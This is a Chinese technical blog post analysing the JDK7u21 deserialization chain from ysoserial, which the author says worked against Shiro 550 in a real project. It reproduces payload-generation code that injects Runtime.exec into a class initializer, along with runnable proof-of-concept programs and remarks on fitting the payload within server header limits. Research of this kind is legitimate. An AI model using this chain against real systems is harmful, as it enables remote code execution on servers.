JDK7u21反序列化链利用分析

0x0 前言

  起因来源于某次的真实的项目经历,碰到Shiro 550,当时尝试各种常见序列化链都失败了,最后JDK7u21 这个序列化链能够成功执行命令,所以对此进行一番学习。

0x1 前置知识

0x1.1 三大概念

学习JAVA相关内容内容之前,这三个经典概念都是可以回顾和学习。

(1) JVM(Java Virtual Machine)

JVM(java虚拟机),是驻留于内存的抽象计算机。

1.1 主要构成:

类加载器: 将.class 文件加载到内存

字节码验证工具: 检查代码中是否存在访问限制违规

执行引擎: 将字节码转换为可执行的机器码

JIT: 即时编译,用于提高JVM的性能,加快java程序的执行速度

1.2 主要作用:

将java字节码(类文件.class,由JVM指令集, 符号表以及补充信息构成)解释为本地机器码(字节码映射本地机器码),不同的操作系统使用不同的JVM映射规则,使java字节码的解释执行与操作系统无关,从而完成跨平台。

JAVA语言的跨平台性是基于JVM的不跨平台性的

(2) JRE(JAVA Runtime Environment)

JRE(java运行环境),由运行和管理JAVA应用程序的类库和工具组成。

单纯的JVM不能直接运行java程序,需要核心类库的支持,所以可以简单理解

JRE = JVM + 核心类库 + 一些工具(密钥库工具keytool, jar文件解压缩工具...)

(3) JDK(JAVA Development Kit)

java开发工具包,是面向JAVA开发人员使用的SDk(software Development Kit 软件开发工具包)

提供java程序的开发环境和运行环境。

JDK 包含了 JRE、基础类库(Java API,如网络、IO、线程、模型)、java源码编译器javac、以及其他一些开发、诊断、分析、调试、管理的工具和命令,如jar、javah、jdb等

0x1.2 jdk命名规则

我们平时安装的java环境,大多是 Java SE Development Kit 8u261, 也就是所谓的jdk8,java8, jdk8。

为什么同一个东西,有这么多名称呢,其实这个跟jdk发布历史中改名有关。

1996-01-23 -1999-04-08 发行了 jdk1.0 - jdk1.1.8

1998-12-04 - 2003-0626 发行了 j2se 1.2 (jdk 1.2 开始了改名)

2004-09-30 发行了Java SE 5.0 (1.5.0) (jdk 1.5.0 又开始了改名)

..

Java SE 6.0 (1.6.0)

Java SE 7.0 (1.7.0)

...

Java SE 11.0

Java命名方式更改的事件原因:

1998年12月8日,Sun公司发布了第二代Java平台(简称为Java2)的3个版本:J2ME(Java2 Micro Edition,Java2平台的微型版),应用于移动、无线及有限资源的环境;J2SE(Java 2 Standard Edition,Java 2平台的标准版),应用于桌面环境;J2EE(Java 2Enterprise Edition,Java 2平台的企业版),应用于基于Java的应用服务器。

2004年9月30日,J2SE1.5发布。为了表示该版本的重要性,J2SE 1.5更名为Java SE 5.0(内部版本号1.5.0)

2005年6月,Java SE 6正式发布。此时,Java的各种版本已经更名,已取消其中的数字2(如J2EE更名为JavaEE,J2SE更名为JavaSE,J2ME则为JavaME)

java SE 主要应用于电脑上运行的软件】

java ee 是基于se基础上构建,是开发企业级应用的一套APi(标准),主要应用于网站建设。

(其实我们平时用Spring 框架去开发 + tomcat 也可以的,根本不需要下载java ee的jdk)

java se 主要应用于移动设备和嵌入式设备的java应用程序

java se ee me 他们所使用的jdk是一样的,区别的是,内置的类库存在差异。

0x2 调试环境搭建

这里简单介绍我平时的工作流,每个人的爱好都不一样。

1.调试工具:

ideal(调试)、eclipse(开发)

2.安装JDK不同版本:

MAC homebrew 只能直接安装官方最新版的OpenJDK

最新版:
brew install java
jdk8以上:
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk8
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk9
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk10
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk11
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk12
jdk7:
brew cask install homebrew/cask-versions/zulu7
jdk6:
brew cask install homebrew/cask-versions/java6

再低就没有必要了,毕竟都2020年.

查看系统已安装的java版本和路径:/usr/libexec/java_home -V

这样子虽然方便,但是我们依然选择不了自己想要的大版本中的小版本,这里的1.7.0272 已经超过了漏洞的版本,经过测试,没办法打成功的。

那么如何安装更详细的版本呢?

java se 7所有小版本

选择合适的操作系统下载,傻瓜化安装即可。

3.下载

git clone https://github.com/frohoff/ysoserial

编译:

cd ysoserial
mvn clean package -DskipTests

基本用法:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar  Jdk7u21 "whoami" > jdk7u21Object.ser

然后直接导入ideal中,下面我们直接在ideal进行ysoserial payload类的导入即可,这样子分析链也方便。

0x3 漏洞说明

0x3.1 背景说明

缺陷影响版本: JRE versions <= 7u21

利用限制: 仅依赖于原生库函数

真实影响: 实战环境有机会遇到

0x3.2 漏洞演示

package ysoserial.example;

import ysoserial.payloads.Jdk7u21;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class JDK7u21 {
    public static void main(String[] args) {
        try {
            Object calc = new Jdk7u21().getObject("open /System/Applications/Calculator.app");

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(calc);//序列化对象
            objectOutputStream.flush();
            objectOutputStream.close();

            byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组

            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流

            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            Object o = objectInputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

成功执行命令

ysoserial的payload

package ysoserial.payloads;

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

import javax.xml.transform.Templates;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/*

Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.

See: https://gist.github.com/frohoff/24af7913611f8406eaf3

Call tree:

LinkedHashSet.readObject()
  LinkedHashSet.add()
    ...
      TemplatesImpl.hashCode() (X)
  LinkedHashSet.add()
    ...
      Proxy(Templates).hashCode() (X)
        AnnotationInvocationHandler.invoke() (X)
          AnnotationInvocationHandler.hashCodeImpl() (X)
            String.hashCode() (0)
            AnnotationInvocationHandler.memberValueHashCode() (X)
              TemplatesImpl.hashCode() (X)
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
                          ...
                            MaliciousClass.<clinit>()
                              ...
                                Runtime.exec()
 */

@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({ Authors.FROHOFF })
public class Jdk7u21 implements ObjectPayload<Object> {

    public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object

        return set;
    }

可以看到payload不是很长,但是利用链中的调用还是比较多的,让我们来慢慢分析吧。

0x4 漏洞分析

0x4.1 第一层 createTemplatesImpl

别问我为什么这是第一层(payload都是层层嵌套的,这是第一句)

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
            // 建立一个templates 对象
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();
            // 

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });
        // Foo.class 没什么很大作用,可能是凑数组数量的,删掉也ok

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

这里分为两部分,一部分是javassist的动态注入,一部分是templates 属性的设置。

javassist的作用:

通过动态字节码生成一个类,该类的静态代码块中存储恶意代码。

templates属性设置的作用:

Templates.newTransformer() 实例化该恶意类从而触发其静态代码块中的恶意代码。

这部分的理解我们可以通过调试这个简单的触发语句来理解:

public static void main(String[] args) throws Exception {
        TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");//生成恶意的calc
        calc.getOutputProperties();//调用getOutputProperties就可以执行calc
    }

基本的调用栈如下:

calc.getOutputProperties() 执行后

跳转去执行: newTransformer().getOutputProperties() 接着去执行newTransformer()这个方法。

可以看到在这个方法里面的第一个参数又调用了getTransletInstance(),继续跟进

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

我们没有设置_class属性,故进入defineTransletClasses方法。然后执行

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();调用_class[_transletIndex]类的无参构造方法,生成类对象。

private void defineTransletClasses()
        throws TransformerConfigurationException {

        // 这里我们传入了值
        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        // 引入加载器
        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                  // 这里在其他版本会有一句_tfactory.getExternalExtensionsMap()
                  // 为了防止出错,所以我们给_tfactory 设置 transFactory.newInstance() 这个带有getExternalExtensionsMap方法的实例
                  // 7u21版本下其实加不加都没关系。
                    return new 
                      TransletClassLoader(ObjectFactory.findClassLoader());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            // 根据_bytecodes传入的数目
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }

            for (int i = 0; i < classCount; i++) {
                // 加载字节码转化为对应的类
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                // _transletIndex 默认值是-1
                // 所以为了不出错,所以这里字节码转换为对应类的时候,其父类必须是
                // ABSTRACT_TRANSLET = com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

_class[i] = loader.defineClass(_bytecodes[i]); ,加载类并不会触发静态方法,但是之后会有一个

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

进行实例化,从而触发我们javassist注入的静态恶意代码。

再次梳理代码流程

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
            // 建立一个templates 对象
        final T templates = tplClass.newInstance();
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();
    }

这里的核心就是将cmd命令通过makeClassInitializer方法注入到了StubTransletPayload

但是这个类还有一个要求必须是abstTranslet的子类,所以这里处理两个类

CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

通过javassistd方式将StubTransletPayload的父类设置为abstTranslet

其实ysoserial做了很多重复的工作(可能有其他作用? 迷。)

从上面我们简单归纳下执行的顺序:

1.TemplatesImpl.getOutputProperties()
2.TemplatesImpl.newTransformer()
3.TemplatesImpl.getTransletInstance()
4.TemplatesImpl.defineTransletClasses()
5.ClassLoader.defineClass()
6.Class.newInstance()

1,2,3,4中都是可以触发的点,但是1,2 是public方法可以被对象直接调用,而3,4是private方法,只能被对象可调用方法间接调用。

所以我们第二层的目标就是触发第一点或者第二点。

0x4.2 第二层 AnnotationInvocationHandler

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

第二层的核心是怎么触发第一层的TemplatesImpl.newTransformer()

这里选择newTransformer()方法来触发的原因还是比较取巧和骚气的。

理解这个之前,我们先学习一下java的动态代理机制。

java静态代理: 通过聚合来实现,代理类通过引入被代理类对象。 缺点:不方便批量对接口进行修改

java动态代理:

实现这两个动态代理,有两个重要的接(InvocationHandler)口和类(Proxy)

这个特点经常用在日志记录上面,举一个例子介绍用法:

AppService.java

package proxypractice;

public interface AppService {
  public boolean createApp(String name);
}

AppServiceImpl.java

package proxypractice;

public class AppServiceImpl implements AppService {

  @Override
  public boolean createApp(String name) {
      // TODO Auto-generated method stub
      System.out.println("APP["+name + "] has beend created!");
      return true;
  }

}

LoggerInterceptor.java

package proxypractice;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class LoggerInterceptor implements InvocationHandler {
  
  private Object target;
  public LoggerInterceptor(Object t) {
      // TODO Auto-generated constructor stub
      this.target = t;
  }
  @Override
  public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
      // TODO Auto-generated method stub
      System.out.println("Entered" + target.getClass().getName());
      System.out.println("Method:" + method.getName());
      System.out.println("Arguments:" + args[0] );
      // call target's method
      Object result = method.invoke(target, args);
      return result;
  }

}

LoggerInterceptor 作为一个中介类,继承了InvocationHandler,

Proxy.newProxyInstance 则通过传入被代理类、代理接口、LoggerInterceptor对象生成了一个代理对象。

能够实现在调用被代理类方法之前,进入中介类的invoke函数方法里面进行执行前后的处理。

学习完动态代理之后,我们就可以理解上面三句话的作用了。

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

首先通过Reflections框架通过调用初始化函数创建一个AnnotationInvocationHandler对象实例。

然后设置了type属性为Templates.class

然后创建了一个Templates类型的代理,hook了所有接口。(这里绑定什么类都没关系的,因为我们需要的是equals方法,默认继承Object根类都自带这个方法,下面会说的)

我们重新写一个只涉及两层利用的POC,通过debug的方式去分析。

package ysoserial.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;

public class TwoTest {
    public static void main(String[] args) throws Exception {
        TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");//生成恶意的calc
        HashMap map = new HashMap();

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
        proxy.equals(calc);
    }
}

调用栈如下,开始逐一分析吧。

这里就是检验equals这个方法是不是被重写了,原生的话是会进入equalsImpl这个函数的。

private Boolean equalsImpl(Object var1) {
       // 判断var1是否为AnnotationInvocationHandle,var1是templates,pass
        if (var1 == this) {
            return true;
          // 构造限制点,type属性限制了var1必须为this.type的类实例
        } else if (!this.type.isInstance(var1)) {
            return false;
        } else {
            //这里获取了当前成员的方法
            Method[] var2 = this.getMemberMethods();
            int var3 = var2.length;

            for(int var4 = 0; var4 < var3; ++var4) {
                Method var5 = var2[var4]; //遍历获取方法
                String var6 = var5.getName(); //获取方法名字
                Object var7 = this.memberValues.get(var6);//获取memberValues中的值
                Object var8 = null;
                // Proxy.isProxyClass(var1.getClass()
                // 判断varl是不是代理类,显然不是,pass
                AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
                if (var9 != null) {
                    var8 = var9.memberValues.get(var6);
                } else {
                    try {
                        // 这里直接进行了方法的调用核心。
                        // var5是方法名,var1是可控的类
                        // var1.var5()
                        var8 = var5.invoke(var1);
                    } catch (InvocationTargetException var11) {
                        return false;
                    } catch (IllegalAccessException var12) {
                        throw new AssertionError(var12);
                    }
                }

                if (!memberValueEquals(var7, var8)) {
                    return false;
                }
            }

            return true;
        }
    }

我们的目的是`TemplatesImpl.newTransformer()

那么我们var1可以通过proxy(var1)方式去控制,那么var5怎么去控制方法的呢?

Method[] var2 = this.getMemberMethods(); 可以看到这里获取了成员的方法,我们选择跟进去看看。

private Method[] getMemberMethods() {
        if (this.memberMethods == null) {
            this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
                public Method[] run() {
                    Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
                    AccessibleObject.setAccessible(var1, true);
                    return var1;
                }
            });
        }

        return this.memberMethods;
    }

结果发现是通过反射机制从this.type这个类属性去获取的。

Reflections.setFieldValue(tempHandler, "type", Templates.class);

所以这里我们只要控制type为Templates.class就行了。

里面就有newTransformer方法,且为第一个,如果是第二个、第三个话,前面可能会因为参数不对等原因出现错误,导致程序没能执行到newTransformer方法就中断了。

0x4.3 第三层 LinkedHashSet

第三层的核心就是触发proxy.equals(calc);

final Object templates = Gadgets.createTemplatesImpl(command);

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object

这里我们可以直观梳理出第三层关键作用的代码:

LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

这是最外层LinkedHashSet,这个对象在反序列化的时候会自动触发readObject方法,从而开始了exp的执行流程

通过查看序列化规则writeObject

private void writeObject(java.io.ObjectOutputStream s)
        throws java.io.IOException {
        // Write out any hidden serialization magic
        s.defaultWriteObject();

        // Write out HashMap capacity and load factor
        s.writeInt(map.capacity());
        s.writeFloat(map.loadFactor());

        // Write out size
        s.writeInt(map.size());

        // Write out all elements in the proper order.
        for (E e : map.keySet())
            s.writeObject(e);
    }

我们可以知道它的序列化规则

s.defaultWriteObject();
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
s.writeInt(map.size());
for (E e : map.keySet())
s.writeObject(e);

可以看到有个获取map大小,然后循环写入的过程。(也就是循环写入每一个元素)

在我们的exp里面分别按顺序执行set.add(templates);set.add(proxy); 添加了两个元素。

这到底是为什么需要两个呢?

还有就是

String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
.......
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
map.put(zeroHashCodeStr, templates); // swap in real object

我们对创建的代理对象设置了一个特殊的HashMap map,

作为了memberValues属性的值。 让我们带着这两个问题去分析一下。

从readObject开始分析

这里先取出了我们先传入第一个templates, 其中PRESENT 是一个空的Object 跟进看下 map.put 方法的处理

public V put(K key, V value) {
        if (key == null)
            return putForNullKey(value);
        int hash = hash(key);
        int i = indexFor(hash, table.length);
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }

        modCount++;
        addEntry(hash, key, value, i);
        return null;
    }

因为table一开始为空的,所以我们第一次进入不了循环,最后进入

传入了我们第一个实例通过hash()计算出的hash、实例和空object和 indexFor()计算出的i值

通过addEntry方法添加到了table这个Entry中,继续往下执行,

跳转回map.put(e, PRESENT);传入我们第二个代理实例。

先记住当前传入的这些值,后面就会发现这些值会有神奇的作用。

我们继续重复上次的操作,先计算hash

因为是代理对象,执行方法的时候会进入invoke

我们跟进hashCodeImpl

private int hashCodeImpl() {
        int var1 = 0;

        Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Entry)var2.next();
        }

        return var1;
    }

var2遍历我们传入的map对象,其中var3就是我们的map对象。

var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue()

其中

var3.getKey()).hashCode()

这个值f5a5a608计算结果为0.

memberValueHashCode(var3.getValue()

这个值直接返回map.put(zeroHashCodeStr, templates); 中的templateshashcode结果。

所以

var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())

其实就是:

var1 += 0^memberValueHashCode(var3.getValue())

0^x =x,所以结果就是templateshashcode的结果。

这个结果恰好是我们第一次传入的对象结果。

LinkedHashSet set = new LinkedHashSet(); // maintain order
        // 第一次传入的是templates实例
        set.add(templates);
        // 第二次传入的是proxy代理实例
        set.add(proxy);

虽然我们传入的两个不一样的东西,但是计算hashcode的时候,代理实例的值使我们可以通过设置this.memberValue来控制的。

后面继续向下走:

e.hash == hash && ((k = e.key) == key || key.equals(k))

首先e.hash == hash这个是满足的,根据&& 短路原则,会继续计算右边的结果,(k = e.key) == key

这里进行了赋值K = e.key所以k就是templates,显然不会等于代理类对象key。根据 ||的短路原则

最终进入了key.equals(k),也就是前面我们所说的proxy.equals(calc),成功完成整个反序列化的RCE链。

0x5 POC 长度

package ysoserial.example;

import ysoserial.payloads.Jdk7u21;

import java.io.*;

public class PayloadOk {
    public static void main(String[] args) {
        try {
            Object calc = new Jdk7u21().getObject("open /System/Applications/Calculator.app");

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("/tmp/payload.ser")));
            objectOutputStream.writeObject(calc);//序列化对象
            objectOutputStream.flush();
            objectOutputStream.close();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

可以看到这个POC的Base64之后大小只有3489个字节。常见的nginx header头部max length 4096和tomcat的8192

都可以兼容这个POC。

我们可以继续浏览下其他的反序列化链的大小。

可以看到不同的POC,字节大小的区别还是挺大的,针对不同的容器,选择不同的POC,以及对POC的优化还是很有必要的。

0x6 总结

  这个链条第一次看的时候感觉真的挺复杂的,但是通过分析之后,理解起来还是比较简单的。但是能够发现这个反序列化链绝对是神级大佬级别的(好奇ing,这种链条的发现真的骚)。后面分析下如何在Shiro 550 tomcat环境中利用该链条执行命令回显。

0x7 参考链接

Java 领域概念:JDK、JRE、JVM

Ysoserial JDK7u21

Security Advisory – Java SE

JDK反序列化Gadget 7u21)

Java反序列化系列 ysoserial Hibernate1

Java反序列 Jdk7u21 Payload 学习笔记

java中的反射

java的动态代理机制详解

点击收藏 | 2 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖